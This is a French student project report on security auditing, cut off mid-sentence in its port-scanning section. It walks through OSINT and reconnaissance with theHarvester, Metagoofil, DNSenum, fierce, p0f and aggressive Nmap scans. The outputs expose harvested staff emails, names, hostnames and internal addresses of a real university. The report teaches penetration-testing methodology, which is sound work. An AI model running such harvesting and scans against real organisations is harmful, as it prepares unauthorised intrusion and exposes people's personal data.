Projet M1 en Informatique Auteurs : Encadrant : Rojat Antoine 24 mai 2012
Sommaire Audit de sécurité 1 Collecte d informations 3 OSINT (open source intelligence).......................................... 3 Récolte des adresses e-mail et des noms d utilisateurs............................ 3 Extraction de méta-données des documents................................. 5 Techniques non-intrusives de reconnaissance.................................... 7 Énumération DNS............................................... 7 Passive Fingerprinting............................................. 10 Détection du framework Web......................................... 11 Reconnaissance active................................................ 13 Balayage des ports............................................... 13 Banner grabbing................................................ 16 Détection de Web Application Firewall (WAF)............................... 17 Identification des vulnérabilités 19 Proxy d interception................................................. 20 SQL Injection..................................................... 22 XSS - Cross-site scripting.............................................. 26 Inclusion de fichiers................................................. 30 Analyse des cookies de sessions........................................... 33 Scanneur de vulnérabilités des applications Web................................. 36 Liste des figures 39 Références bibliographiques 40
Audit de sécurité Dans le cadre de l industrie de sécurité informatique, l audit de sécurité représente un processus complexe, qui est fait dans les limites strictes d un contrat entre l entreprise qui souhaite auditer ses systèmes d informations et la compagnie de testeurs. Il faut faire une distinction claire entre penetration testing (en français : faire les tests d intrustion) et un audit de sécurité, parce que ce dernier et plus complexe et contient la partie de tests d intrusion dans ses étapes. Selon [?] : Un test d intrusion est une méthode d évaluation de la sécurité d un système de calcul ou d un réseau en simulant une attaque. [...] Le processus implique une analyse active de l application pour toutes faiblesses, failles techniques ou vulnérabilités. Tous les problèmes de sécurité trouvés seront présentés au propriétaire du système, avec une évaluation de leur impact et souvent avec une proposition de mesures d atténuation ou une solution technique. (traduit de l anglais). Un audit de sécurité peut se décomposer en plusieurs étapes : 1. Activités de pre-engagement et définitions des champs d action L étape de début d un audit de sécurité consiste de préciser de manière exacte ce qui doit être testé et comment on peut exécuter ces tests. C est-à-dire on détermine les ressources ciblées de l entreprise (quels réseaux, quelles applications Web) et on spécifie clairement les limites des tests et les actions qu on a le droit d exécuter, sans depasser ce qui est spécifié dans le contrat entre l entreprise et la compagnie de sécurité. À cet stage on peut aussi faire l estimation du temps de l audit de sécurité, définir les modalités de paimenet et prévoir les actions à suivre dans les situations exceptionnelles. 2. Collecte d informations La partie de collecte d informations est le processus de trouver d autant d informations que possible sur l organisation cible, avec le but d utiliser ces informations dans le étapes d identification de vulnérabilités et exploitation des failles. Souvent cette étape est faite du rôle d un adversaire, depuis l extérieur de l entreprise, mais celle-ci peut aussi donne l autorisation de tester les réseaux internes ou de conduire des interviews avec les employées. Dans cette étape on essaie de trouver d informations sur l entreprise et ses partenariats, sur les chefs et les employés liés à la sécurité, sur la présence Internet de ceux-ci, sur l infrastructure de réseau utilisée, sur les applications Web, les services ou les logiciels utilisés ou produits par la société et ainsi de suite. 3. Modélisation des menaces La création d un modèle pour décrire les ressources de l entreprise et les adversaires possibles est une étape très importante pour savoir ce qui devrait être protégé et qui voudrait l attaquer. Premièrement l objectif est de faire une analyse de l entreprise d un point de vue de ses actifs, et ensuite de déterminer les personnes ou les communautés intéressées, même au sein de l entreprise, de faire une analyse de leurs motivations et de leurs capacités de faire une attaque. 4. Identification des vulnérabilités Dans cette étape on fait des tests pour trouver les failles de sécurité des systèmes de l entreprise qui peuvent être exploitées par un adversaire. Il s agit de simuler des attaques pour trouver les vulnérabilités et de voir dans quelles conditions elles peuvent être exploitées. Souvent on utilise des outils qui automatisent le travail, mais on fait aussi des tests manuellement : une vulnérabilité doit être validée, donc il est conseillé d avoir plusieurs confirmations de notre découverte. Pour la valider on peut aussi chercher sur les sites Web qui gérent des bases de données avec des vulnérabilités pour des versions spécifiques des logiciels. 5. Exploitation des failles L exploitation des failles de sécurité peut se faire de manière précise si les vulnérabilités ont été bien déterminées dans l étape précédente. L objectif est de depasser les réstrictions et les contre-mesures mises en place pour mettre en évidence les points d entrée dans les systèmes de l entreprise. Ainsi on peut voir quelles sont les plus importantes vulnérabilités et quelles sont les consequences de leur exploitation. page 1 sur 41
6. Maintien de l accès L étape de maintien de l accès se réfère à les actions à faire après la phase d exploitation des failles. Le but est de déterminer la valeur de la machine compromise et de mettre en place les moyens pour maintenir la communication avec cette machine. On peut analyser les préjudices possibles qui peuvent se produire à partir de cette machine et de voir si cela donne accès à d autres routes vers des cibles aussi intéressantes. 7. Élaboration des rapports À la fin du processus formel de l audit de sécurité il faut élaborer des rapports qui seront utiles pour le client, en lui décrivant les objectifs, les méthodes et les résultats de l audit de sécurité. Pour chaque vulnérabilité trouvée il faut préciser les causes et les recommandations pour les améliorer; les failles de sécurité doivent aussi être classées selon leur niveau de risque. Cette liste est inspiré par : http://www.pentest-standard.org/, une oeuvre de collaboration de plusieurs professionnels de la sécurité qui, malgré son nom, est une bonne ressource pour délimiter un audit de sécurité. Nous allons nous concentrer sur les aspects techniques des étapes de la collecte d informations et identification des vulnérabilités, en illustrant chaque concept avec des exemples d outils qui Backtrack met à notre disposition. page 2 sur 41
Collecte d informations La partie de collecte d informations d un audit de sécurité représente la reconnaissance faite avant de démarrer les étapes d identification de vulnérabilités et d exploitation des failles sur la cible. Elle comporte les actions de sélection de la cible, d effectuer une reconnaissance secrète ou par OSINT (open-source intelligence) et HUMINT (human intelligence) sur la cible, et la prise d empreintes des services et systèmes liés à la cible. Nous allons traiter les aspects techniques de ces étapes et faire la reconnaissance d un point de vue externe de l organisation, pour avoir une idée sur comment un adversaire peut la voit. On va voir comment on peut utiliser Backtrack pour trouver d informations par les sources ouvertes de renseignement (OSINT), par les services ouvertes (comme DNS) ou en interagissant directement avec la cible, dans le cadre d une reconnaissance active. Ainsi on aura un grand nombre d informations sur la sur la compagnie et ses employés, sur son présence Internet, sur les services, les logiciels, les applications Web utilisées et les réseaux informatiques avec les machines qui sont attachés à ces réseaux. OSINT (open source intelligence) OSINT (en français le renseignement de sources ouvertes) est une première étape dans la partie de collecte d informations sur la cible de l audit de sécurité, qui consiste à utiliser des informations accessibles au public pour créer un profile de l organisation cible et pour pouvoir découvrir les premiers points d entrée dans le système. La structure organisationnelle, les personnes employées ou liées à l organisation et leurs rôles, leurs numéros de téléphone, leurs adresses physiques et e-mail, leur présence en ligne sur les réseaux sociaux et les forums, toutes ces informations peuvent être utilisées pour construire une attaque, par exemple au début des attaques qui utilisent un artifice de l ingénierie sociale. Pour collecter les informations on peut utiliser des moteurs de recherche comme Google (une technique appelée Google hacking ), des services Linux comme whois, dig ou des outils qui automatisent ces actions et en ajoutent d autres, comme celles de la distribution Linux Backtrack5 R2. Dans ce qui suit, on va présenter quelques outils de Backtrack qui peuvent nous aider dans le processus de trouver et extraire des informations sur une cible de sources disponibles publiquement. La plupart des outils qu on va voir dans cette section utilisent ce qu on appelle le Google hacking. Comme décrit dans [ALL08], le moteur de recherche Google permet de faire bien plus que de la simple recherche de mot, de récupérer furtivement des informations sur une cible et cela de manière quasi transparente. Dans la pratique, Google hacking consiste a entrer des requêtes spéciales dans le moteur de recherche, parmi lesquelles : site:uvsq.fr - permet faire la recherche seulement sur les pages d un site passé en argument. cache:uvsq.fr - cherche le site uvsq.fr dans le cache de Google; cette option est surtout utilisée pour visiter discrètement un site. intitle:uvsq - permet de chercher le texte uvsq qui se trouve entre les balises <title></title> d une page HTML. inurl:admin - permet de chercher un site internet dont l URL contient le mot admin. filetype:pdf ou ext:pdf - retourne les pages contenant un lien vers un fichier du type mentionné en argument. Les chaînes des caractères comme inurl:search.php, qui permet de rassembler vite avec Google beaucoup des sites qui utilisent une même fonctionnalité, comme un formulaire de recherche, sont souvent appelées Google dorks, et le processus de trouver et utiliser ces résultats s appelle Google dorking. Récolte des adresses e-mail et des noms d utilisateurs Dans l étape de découverte de la présence d une organisation sur Internet, faire la récolte des adresses e-mails est souvent très important, parce que un adversaire peut les utiliser pour faire des attaques brute-force ou pour envoyer des messages spam personnalisés pour le possesseur de l adresse, qui contiennent du code malveillant pour exploiter les vulnérabilités sur son système. En plus, trouver les noms d utilisateur sur les réseaux sociaux en ligne des employés d une entreprise peut donner beaucoup de détails sur leurs intérêts, leur poste de travail, leur localisation et peut conduire à une attaque par l ingénierie sociale. COLLECTE D INFORMATIONS page 3 sur 41
TheHarvester TheHarvester est un outil spécialisé pour automatiser les techniques de Google hacking et il étend le concept pour d autres moteurs de recherche comme Bing et Exalead. Il utilise les APIs ou les paramètres GET pour interroger les serveurs de clés publiques PGP, la base de données SHODAN, les réseaux sociaux comme LinkedIn ou les profiles Google. En exécutant l outil TheHarvester sur le nom de domaine prism.uvsq.fr on obtient : root@bt :/ pentest /enumeration/ theharvester#./ theharvester.py d prism.uvsq. fr b google h v TheHarvester Ver. 2.1 ( reborn ) Coded by Christian Martorella Edge Security Research cmartorella@edge security.com [ ] Searching in Google : Searching 0 results... Searching 100 results... [+] Emails found : stephane. lopes@prism. uvsq. fr devan. sohier@prism. uvsq. fr sana. younes@prism. uvsq. fr roucairog@prism. uvsq. fr [+] Hosts found in search engines : 193.51.25.197:www. prism. uvsq. fr 193.51.25.188: cassiopee. prism. uvsq. fr 193.51.25.9: torquenada. prism. uvsq. fr [+] Proposed SET [] [+] Virtual hosts : ================== 193.51.25.197:www. prism. uvsq. fr 193.51.25.197: master i r s. prism. uvsq. fr 193.51.25.197:www. master secrets. uvsq. fr 193.51.25.173: bobpp. prism. uvsq. fr 193.51.25.1:www.1 and1. fr [+] Shodan Database search : Searching for : 193.51.25.197:www. prism. uvsq. fr Searching for : 193.51.25.188: cassiopee. prism. uvsq. fr Searching for : 193.51.25.173: bobpp. prism. uvsq. fr Searching for : 193.51.25.1:www.1 and1. fr [+] Shodan r esults : =================== On a déjà une liste avec les adresses e-mails, mais en plus theharvester nous montre aussi les noms d hôtes trouvés dans les résultats Google, et en lui donnant l option -v il fait une résolution DNS et il essaie de trouver les hôtes virtuels sur la même adresse IP. Avec l option -h on interroge la base de données SHODAN. En exécutant l outil avec l option de chercher dans les serveurs de clé PGP, on obtient : root@bt :/ pentest /enumeration/ theharvester#./ theharvester.py d prism.uvsq. fr b pgp [ ] Searching in PGP key server.. [+] Emails found : antoine. rojat@prism. uvsq. fr hpc@prism. uvsq. fr dntt@prism. uvsq. fr COLLECTE D INFORMATIONS page 4 sur 41
On peut spécifier le nom d une entreprise et voir quels sont les profiles LinkedIn qui lui sont associés : root@bt :/ pentest /enumeration/ theharvester#./ theharvester.py d BlueMatrix b linkedin [ ] Searching in Linkedin.. Users from Linkedin : ==================== Tammy Huang China Yogesh Paithankar Samantha Dolan United Kingdom Stephen Mcnally Greater New York City Area Extraction de méta-données des documents On peut faire une recherche avec Google pour localiser différentes ressources d une compagnie sur le Web telles que des documents PDF, Word etc. On pourra les exploiter directement ou en extraire des meta-données qui peuvent fournir des informations telles que l auteur/créateur, le logiciel utilisé et sa version, la date et l heure de création, les normes utilisées, la localisation dans un réseau informatique (imprimante/dossier/répertoire chemin), géo-tagging etc. Pour une image il peuvent même nous donner les coordonnées et les informations de localisation. Une extraction des meta-données est possible en utilisant des outils adaptés présents sur Backtrack comme Metagoofil. Metagoofil C est un outil conçu pour extraire les méta-données de fichiers d extensions.doc,.xls,.ppt,.pdf etc. La puissance de cet outil est qu il fait une recherche des documents publics en ligne grâce à Google. Il montre les résultats sous forme d un rapport sur les informations qu ils contiennent. Ces informations comme des noms de personnes, des dates de créations, des versions de logiciels qui sont facilement accessible, peuvent donner des indications sur le personnel de l entreprise ce qui pourraient très bien servir à un attaquant potentiel. Ci-dessous on exécute l outil metagoofil sur le nom de domaine uvsq.fr (option -d), en lui demandant d explorer les documents avec l extension.doc et. pdf (option -t), en limitant la recherche a 20 documents (option -l), qu il téléchargera par la suite (option -n). Les documents téléchargés seront stockés dans le répertoire resultats scan (option -o) sous forme d une page html resultats.html (option -f). COLLECTE D INFORMATIONS page 5 sur 41
root@bt :/ pentest /enumeration/google / metagoofil#./ metagoofil.py d uvsq. fr t doc, pdf l 20 n 20 o /root/ Desktop/resultats scan f /root/desktop/resultats. html Metagoofil Ver 2.1 Christian Martorella Edge Security.com cmartorella at edge security.com Blackhat Arsenal Edition [ ] Starting online search... [ ] Searching for doc files, with a limit of 20 Searching 100 results... Results : 101 f i l e s found Starting to download 20 of them : [1/20] /support/websearch /bin/answer. py?answer=186645& form=bb& hl=en Error downloading /support/websearch /bin/answer. py?answer=186645& form=bb& hl=en [2/20] http ://www. physique. uvsq. fr / statuts. doc [ ] Searching for pdf files, with a limit of 20 Searching 100 results... Results : 103 f i l e s found Starting to download 20 of them : [1/20] /support/websearch /bin/answer. py?answer=186645& form=bb& hl=en Error downloading /support/websearch /bin/answer. py?answer=186645& form=bb& hl=en [2/20] http ://www. qualub. uvsq. fr /PDF/ circulaire apprentissage. pdf [+] List of users found : dahoo Stephanie iut rambouillet I ulian Sandu Popa, Karine Zeitouni, Vincent Oria, Dominique Barth, Sandrine Vial [+] List of software found : Microsoft Office Word Microsoft Excel PDFCREATOR Version 0.8.0 [+] List of paths and servers found : Normal C:\Mes documents\gdr\documentscientifique\docscient\presentation Abregee. doc C:\Mes Documents\GdR\PRESENTATION Abregee. doc C:\WINDOWS\TEMP\Enregistrement automatiquedepresentation Abregee. asd [+] List of e mails found : yasser. alayli@uvsq. fr sfayad@hotmail. fr j ulien. barjon@cnrs bellevue. fr COLLECTE D INFORMATIONS page 6 sur 41
Techniques non-intrusives de reconnaissance Il existe plusieurs méthodes pour trouver des informations en plus d OSINT sans être détecté et sans interagir directement avec la cible. D abord on peut interroger des services ouverts comme DNS, SMTP, SNMP, on peut faire l analyse VPN (Virtual Private Network), on peut intercepter le trafic général entre notre machine et la cible et faire une analyse de paquets pour déduire les services et les systèmes d exploitation avec leurs versions (passive fingerprinting) ou suivre la route des paquets pour découvrir les proxy, les serveurs d equilibrage de charge (load-balancing) ou les systèmes de détection et de prévention d intrusion mis en place. Énumération DNS Cette étape est composée de plusieurs techniques qui, selon [AY09], permettent de collecter les informations suivantes : les noms des serveurs, les noms de domaines sous-domaines utilisés pour les adresses mails et le Web, même la cartographie d un réseau. On peut aussi trouver la localisation de ces serveurs, les adresses IP et les blocs d adresses utilisés, des informations sur le propriétaire d un nom de domaine (adresse mail, numéro de téléphone, etc.) et sur les serveurs de noms associés au domaine. Il existe plusieurs commandes comme whois permettant d interroger les registres fournissant publiquement des informations concernant les noms de domaine et adresses IP, mais aussi des outils performants présents sur Backtrack comme Maltego, DNSenum et fierce qui permettent cela d une manière simple et rapide. DNSenum C est un outil développé en PERL permettant la récupération d informations relatives aux noms de domaine. Un balayage DNSenum comme le montre l exemple suivant, nous donne les informations concernant les noms de domaine, les sous-domaines, les serveurs mail et les blocs IP affectés en utilisant : Le transfert de zone (actuellement il est en général désactivé) permettant à un serveur secondaire (qui a besoin d être autorisé à effectuer cette opération) d interroger le serveur primaire et de récupérer le contenu de sa base de données, mais assez souvent aucune autre restriction n est pas présente. Ceci permet l affichage du contenu d une zone. Les résultats du moteur Google (le scarping ); souvent Google peut détecter et ne pas autoriser la recherche automatisée et c est pour cela qu on remarque que DNSenum n a pas pu récupérer des résultats en utilisant cette technique. Une recherche par force brute pour trouver les noms de sous-domaines, à l aide du fichier dns.txt contenant des mots clés qu on pourra enrichir manuellement ou automatiquement. COLLECTE D INFORMATIONS page 7 sur 41
root@bt :/ pentest /enumeration/dns/dnsenum#./dnsenum. pl enum f dns. txt r uvsq. fr dnsenum. pl VERSION :1.2.2 Warning : can t load Net :: Whois :: IP module, whois queries disabled. uvsq. fr Host s addresses : uvsq. fr 86400 IN A 193.51.27.3 Name Servers : lune. uvsq. fr 86400 IN A 193.51.33.28 s o l e i l. uvsq. fr 86400 IN A 193.51.24.1 resone. univ rennes1. fr 86400 IN A 129.20.254.1 shiva. jussieu. fr 172799 IN A 134.157.0.129 Mail (MX) Servers : s o l e i l. uvsq. fr 86400 IN A 193.51.24.1 titan. uvsq. fr 86400 IN A 193.51.33.15 Trying Zone Transfers and getting Bind Versions : Trying Zone Transfer for uvsq. fr on resone. univ rennes1. fr... AXFR record query failed : NOERROR resone. univ rennes1. fr Bind Version : Trying Zone Transfer for uvsq. fr on lune. uvsq. fr... AXFR record query failed : NOERROR lune. uvsq. fr Bind Version : Bind Trying Zone Transfer for uvsq. fr on shiva. jussieu. fr... AXFR record query failed : REFUSED Unable to obtain Server Version for shiva. jussieu. fr : REFUSED Trying Zone Transfer for uvsq. fr on s o l e i l. uvsq. fr... AXFR record query failed : NOERROR s o l e i l. uvsq. fr Bind Version : Bind Scraping uvsq. fr subdomains from Google : Google search page : 1 Google search page : 2 Google search page : 3 Brute forcing with dns. txt : apps. uvsq. fr 86400 IN A 193.51.33.9 ftp. uvsq. fr 86101 IN CNAME nova. uvsq. fr 86237 IN A 193.51.24.2 uvsq. fr ip blocks : 193.51.24.1/32 193.51.24.2/31 193.51.24.5/32 COLLECTE D INFORMATIONS page 8 sur 41
fierce C est un outil de reconnaissance et de récupération d informations d un nom de domaine. Cet outil scanne les différentes informations récupérables, et ceci par le biais de plusiers techniques : root@bt :/ pentest /enumeration/dns/ f ierce#./ fierce. pl dns uvsq. fr wordlist hosts. txt DNS Servers for uvsq. fr : lune. uvsq. fr s o l e i l. uvsq. fr resone. univ rennes1. fr shiva. jussieu. fr Trying zone transfer f i r s t... Testing lune. uvsq. fr Request timed out or transfer not allowed. Testing s o l e i l. uvsq. fr Request timed out or transfer not allowed. Testing resone. univ rennes1. fr Request timed out or transfer not allowed. Testing shiva. jussieu. fr Request timed out or transfer not allowed. Unsuccessful in zone transfer ( it was worth a shot ) Okay, trying the good old fashioned way... brute force Checking for wildcard DNS... Nope. Good. Now performing 1895 test ( s )... 193.51.33.4 oas. uvsq. fr 193.51.33.1 babaorum. uvsq. fr 192.168.61.11 pc55 dsi 29a. siege. uvsq. fr 192.168.61.12 mandore. csi. uvsq. fr 193.51.24.1 s o l e i l. uvsq. fr 193.51.24.2 nova. uvsq. fr 193.51.27.1 diapason. siege. uvsq. fr 193.51.27.2 metronome. siege. uvsq. fr Subnets found (may want to probe here using nmap or unicornscan ) : 127.0.0.0 255 : 1 hostnames found. 192.168.61.0 255 : 42 hostnames found. 193.51.24.0 255 : 104 hostnames found. 193.51.27.0 255 : 254 hostnames found. 193.51.33.0 255 : 66 hostnames found. Done with Fierce scan : http ://ha. ckers. org/ f ierce / Found 467 entries. Have a nice day. On remarque qu un balayage fierce est plus intéressant (avec les options utilisés), en effet il a tout d abord vérifié l utilisation du wildcard DNS ce qui nous donne une idée sur l importance des faux résultats (dans l exemple uvsq.fr n utilise pas de wildcard DNS). Les noms de sou-domaine et les adresses IP associées ont été trouvé par le biais d un brute force utilisant le fichier interne hosts.txt, ensuite fierce en trouvant un sous-domaine et l adresse IP qui lui est associée va faire une résolution DNS inverse pour un champs d adresses IP contigus à cette adresse (par défaut 5 au dessus et 5 en dessous de cette adresse initiale), pour trouver d autre sous-domaine possibles. S il trouve un autre nom de sous-domaine, il fera une nouvelle résolution DNS inverse, donc fierce procéde de façon recursive pour trouver un plus grand nombre de noms de sous-domaines. A partir des adresses IP trouvés, les réseaux associés sont affiches avec les statistiques pour chacun afin de pouvoir éventuellement effectuer un balayage de ports avec des outils comme Nmap ou Unicornscan. COLLECTE D INFORMATIONS page 9 sur 41
Maltego C est un outil très performant et plus complexe qu un simple logiciel pour faire l énumération DNS, car il permet de trouver facilement, et de manière visuelle, des informations telles que les différentes adresses mail d une personne, des numéros de téléphone qui pourraient lui être associés, les adresses IP et les réseaux, les serveurs DNS et les serveurs mail d une entreprise, la recherche sur les sites comme Twitter et Facebook d un utilisateur, etc. Maltego est proposé sur le site http://www.paterva.com/web5/ et dispose de plusieurs tutoriels complets sur le site pour sa prise en main, il est pratique et trés performant tout en offrant plusieurs possibilités. Par exemple un scan DNS en utilisant maltego sur uvsq.fr produit le résultat suivant : Figure 1 Scan DNS sous Maltego Passive Fingerprinting La détection active de services ou de systèmes d exploitation se fait en général en envoyant des paquets spécifiques pour différentes situations et en analysant les réponses ou les erreurs envoyées par la machine ciblée (l outil Nmap est le meilleur exemple). Selon le concept de prise d empreinte passive, l adversaire analyse seulement les paquets générés suite à une interaction normale avec la machine hébergeant l application Web, alors il ne risque pas d être détecté par des pare-feu et on peut découvrir des informations intéressantes. p0f L outil le plus utilisé pour le passive fingerprinting est p0f, inclus dans Backtrack. Cependant, il s agit d une ancienne version, donc on télécharge, compile et on lance la derniere version : root@bt : # wget http:// lcamtuf.coredump. cx/p0f3/releases/p0f latest. tgz root@bt : # tar xvzf p0f latest. tgz root@bt : # cd p0f 3.04b/ ;./ build. sh root@bt : / p0f 3.04b#./ p0f # Telechargement # Extraction de l archive # Compilation # Lancement p0f est un sniffer capable de nous dire quel type de système d exploitation est utilisé par la cible, seulement en analysant les paquets TCP SYN reçus quand la machine essaie de réaliser une connexion avec nous ou les paquets COLLECTE D INFORMATIONS page 10 sur 41
TCP SYN+ACK, reçus quand c est nous qui essayons d interagir avec la cible. Il faut donc faire les premiers pas du TCP handshake, même si nous ne finissons pas l établissement de la connexion, pour que p0f puisse capturer des paquets. On utilise telnet pour cela : root@bt : # telnet swift.prism.uvsq. fr 80 Trying 193.51.25.208... Connected to swift. prism. uvsq. fr. Escape character is ˆ]. ˆC Connection closed by foreign host. La sortie de p0f nous montre d abord ce qu il peut détecter de nos paquets TCP SYN (syn), le MTU du lien utilisé par le client, et après il nous montre la version du système d exploitation du serveur qu il a trouvé en analysant les paquets TCP SYN ACK (syn+ack) : c est Linux 2.6.x. Il nous affiche aussi la distance en hops (routeurs) entre nous et le serveur,le MTU du lien utilisé parle serveur,et la duréede fonctionnement du client et du serveur( uptime ) :. [ 192.168.1.52/59337 > 193.51.25.208/80 ( syn ) ] c lient = 192.168.1.52/59337 os = Linux 3. x dist = 0 params = tos :0 x04 raw sig = 4:64+0:0:1460:mss 10,4:mss, sok, ts, nop, ws : df, id+:0. [ 192.168.1.52/59337 > 193.51.25.208/80 (mtu) ] c lient = 192.168.1.52/59337 link = Ethernet or modem raw mtu = 1500. [ 192.168.1.52/59337 > 193.51.25.208/80 ( syn+ack ) ] server = 193.51.25.208/80 os = Linux 2.6. x dist = 16 params = none raw sig = 4:48+16:0:1452:mss 4,6:mss, sok, ts, nop, ws : df :0. [ 192.168.1.52/59337 > 193.51.25.208/80 ( uptime ) ] server = 193.51.25.208/80 uptime = 145 days 15 hrs 49 min (modulo 198 days ) raw freq = 249.93 Hz Détection du framework Web Beaucoup d applications Web sont créées en utilisant des frameworks Web ou des systèmes de gestion de contenu (CMS - Content Management System) et d un point de vue de la sécurité il est toujours important de savoir quels logiciels ont été utilisés pour créer l application et surtout quelles sont leurs versions. En trouvant leurs versions on peut chercher sur les sites de vulnérabilités pour trouver des failles spécifiques à ces frameworks. BlindElephant BlindElephant est un outil qui utilise une méthode non-intrusive pour la détection des frameworks Web ou CMS utilisés par un site. En l exécutant avec l option guess il trouve d abord le framework utilisé : root@bt :/ pentest /web/ blindelephant / src / blindelephant# python./ BlindElephant.py www. joomla. org guess Probing... Possible apps : joomla COLLECTE D INFORMATIONS page 11 sur 41
Ensuite, BlindElephant possède des chemins vers les fichiers statiques d un tel framework Web et calcule les hachages des fichiers, en les vérifiant avec les valeurs de hachage des fichiers pour les versions du framework qu il connaît. Il fait un choix en se basant sur la probabilité des résultats : root@bt :/ pentest /web/ blindelephant / src / blindelephant# python./ BlindElephant.py www. joomla. org joomla Loaded /pentest /web/ blindelephant / src / blindelephant /dbs/joomla. pkl with 39 versions, 3789 d i fferentiating paths, and 140 version groups. Starting BlindElephant fingerprint for version of joomla at http ://www. joomla. org Hit http ://www. joomla. org/language/en GB/en GB. ini Possible versions based on result : 1.5.18 Hit http ://www. joomla. org/ htaccess. txt File produced no match. Error : Retrieved f i l e doesn t match known fin gerprint. c381fa8411b62167fd7c9a06b244df36 Fingerprinting resulted in : 1.5.18 Best Guess : 1.5.18 COLLECTE D INFORMATIONS page 12 sur 41
Reconnaissance active Cette étape consiste à interagir directement avec la cible, en étant surtout intrusive, c est-à-dire on essaie de découvrir des informations en envoyant à la cible des messages spécialement conçus pour détecter les service actifs et leurs versions, les systèmes d exploitation, les systèmes de protéction actifs, etc. Puisque ces messages ne font pas nécessairement partie du trafic normal que la cible reçoit, souvent il existe des systèmes de prévention et de détection d un adversaire qui exécute ce type d actions pour faire le scanning, et il existe aussi des risques juridiques apportés par ce type d actions qu il faut prendre en compte. Balayage des ports Le balayage des ports consiste à faire le scanning des machines pour découvrir les ports ouverts, les services disponibles sur ces ports et leurs versions, et le système d exploitation de la machine. Il existe beaucoup des techniques pour faire cela, et Backtrack met à notre disposition un grand nombre d outils pour aider le testeur de sécurité avec ces opérations. Nmap Nmap est un outil qui réunit la plupart des techniques de balayage des ports et qui offre une interface de commande facile pour réaliser ces opérations. Les résultats obtenus suite à la phase d énumération DNS peuvent être fournies à Nmap, qui peut prendre comme option un fichier d adresses à scanner (avec l option -il) ou il peut lui-même faire une résolution DNS inverse sur une plage d adresses spécifiée en notation CIDR, comme noms d hôtes ou une combinaison des deux, par exemple : root@bt : # nmap sl gide.prism.uvsq. fr/24 Starting Nmap 5.61TEST4 ( http ://nmap. org ) at 2012 05 04 14:07 CEST Stats : 0:00:01 elapsed ; 0 hosts completed (0 up), 0 undergoing Host Discovery P arallel DNS resolution of 256 hosts. Timing : About 52.34% done; ETC: 14:07 (0:00:01 remaining ) Nmap scan report for fr uvsq 02.uvsq. fr (193.51.25.0) Nmap scan report for g u i l l o t i n. prism. uvsq. fr (193.51.25.1) Nmap scan report for dracula. prism. uvsq. fr (193.51.25.2) Nmap scan report for nemesis. prism. uvsq. fr (193.51.25.10) Nmap scan report for c itronier. prism. uvsq. fr (193.51.25.11) Nmap scan report for r fermat m1. reseau. uvsq. fr (193.51.25.252) Nmap scan report for r eu 6006. reseau. uvsq. fr (193.51.25.253) Nmap scan report for r sciences. reseau. uvsq. fr (193.51.25.254) Nmap scan report for 193.51.25.255 Nmap done: 256 IP addresses (0 hosts up) scanned in 8.58 seconds Avec l option -sl Nmap affiche juste une liste d hôtes du réseau spécifié avec une résolution DNS inverse pour chacun par défaut; il est possible d enlever la résolution avec l option -n. Dans la page de manuel (man) sur Backtrack de Nmap, on trouve un grand nombre d options ainsi que leur contexte d utilisation. Pour illustrer les principales fonctionnalités de Nmap, on va faire un balayage de ports standard, avec les options suivantes : -ss : l option pour faire un balayage de ports de type SYN scan : il envoye des paquets de type TCP SYN aux ports spécifiés et il classifie chaque port selon la réponse reçue (un paquet SYN ACK, RST ou aucune réponse après plusieurs tentatives) en port ouvert ( open ), fermé ( closed ) our filtré ( filtered ) par un pare-feu. Si d autres types de balayage de ports ne sont pas spécifiés, ce type est fait par défaut. -sv: c est l option pour envoyer en plus des paquets spécifiques pour découvrir quel service est actif sur le port trouvé et quelle est sa version, selon la réponse reçue - Nmap contient des fichiers avec plus de 6000 signatures de réponse pour la détection des services et plus de 2600 signatures de réponse pour la détection des systèmes d exploitation. -O : l option pour détecter le système d exploitation sur le même principe comme les services. En plus, si Nmap ne peut pas trouver avec exactitude le système d exploitation, il offre plusieurs choix et son niveau de confiance (en pourcentage) pour chacun. -Pn : avec cette option Nmap il ne va pas envoyer des messages pour découvrir si l hôte spécifié est en ligne (ce qu il fait par défaut avant de chaque balayage). -T4 : on spécifie la vitesse générale du balayage : 4 signifie le mode aggressive. -p 1-65535 : on spécifie les ports qu on veut scanner : par défaut Nmap a une liste de ports connus à qui il envoie ses sondes, mais ici on veut scanner tous les ports disponibles, de 1 à 65535. COLLECTE D INFORMATIONS page 13 sur 41
root@bt : # nmap ss sv O Pn T4 p 1 65535 swift.prism.uvsq. fr Starting Nmap 5.61TEST4 ( http ://nmap. org ) at 2012 05 04 14:35 CEST Nmap scan report for swift. prism. uvsq. fr (193.51.25.208) Host is up (0.034 s latency ). Not shown : 65516 f i l t e r e d ports PORT STATE SERVICE VERSION 20/ tcp closed ftp data 21/ tcp closed ftp 22/ tcp open ssh OpenSSH 5.9p1 Debian 4 ( protocol 2.0) 23/ tcp closed telnet 53/ tcp closed domain 80/ tcp open http Apache httpd 2.2.16 110/ tcp closed pop3 113/ tcp closed ident 143/ tcp closed imap 220/ tcp closed imap3 443/ tcp closed https 585/ tcp closed unknown 873/ tcp closed rsync 993/ tcp closed imaps 995/ tcp closed pop3s 1935/tcp closed rtmp 2401/tcp open http Apache httpd 2.2.16 (( Debian )) 5999/tcp open http Apache httpd 2.2.16 46015/tcp closed unknown Device type: general purpose WAP media device router f irewall Running (JUST GUESSING) : Linux 2.6.X 2.4.X (95%), Netgear embedded (89%), Western Digital embedded (89%), Peplink embedded (88%), WatchGuard embedded (88%), D Link embedded (88%), Linksys embedded (88%), Linksys Linux 2.4.X (87%) OS CPE: cpe :/o: linux : kernel :2.6.31 cpe :/o : linux : kernel :2.6.22 cpe :/o : linksys : linux :2.4 cpe :/o : linux : kernel :2.4 Aggressive OS guesses : Linux 2.6.31 (95%), Linux 2.6.23 2.6.38 (92%), Linux 2.6.32 (92%), Linux 2.6.35 (92%), Linux 2.6.22 (92%), Netgear DG834G WAP or Western Digital WD TV media player (89%), OpenWrt Kamikaze 7.09 ( Linux 2.6.22) (89%), Smoothwall Express 3.0 ( Linux 2.6.16) (88%), Peplink Balance 380 router (88%), Linux 2.6.18 (88%) No exact OS matches for host (test conditions non ideal ). Service Info : OS: Linux ; CPE: cpe :/o: linux : kernel OS and Service detection performed. Please report any incorrect results at http ://nmap. org/submit/. Nmap done: 1 IP address (1 host up) scanned in 194.60 seconds On voit que les ports qui n on pas répondu sont appelé filtered - ils sont nombreux : 65516. Pour les ports fermés Nmap ne peut pas détecter la version ou le service avec exactitude, mais il offre les noms de services qui sont connus sur ces ports, comme spécifié dans le fichier /etc/services sur le systèmes d exploitation Ubuntu Linux. Pour les ports ouverts on a les services et leurs versions : trois instances du serveur Web Apache, version 2.2.16, sur les ports 80, 2401 et 5999, ainsi que le serveur 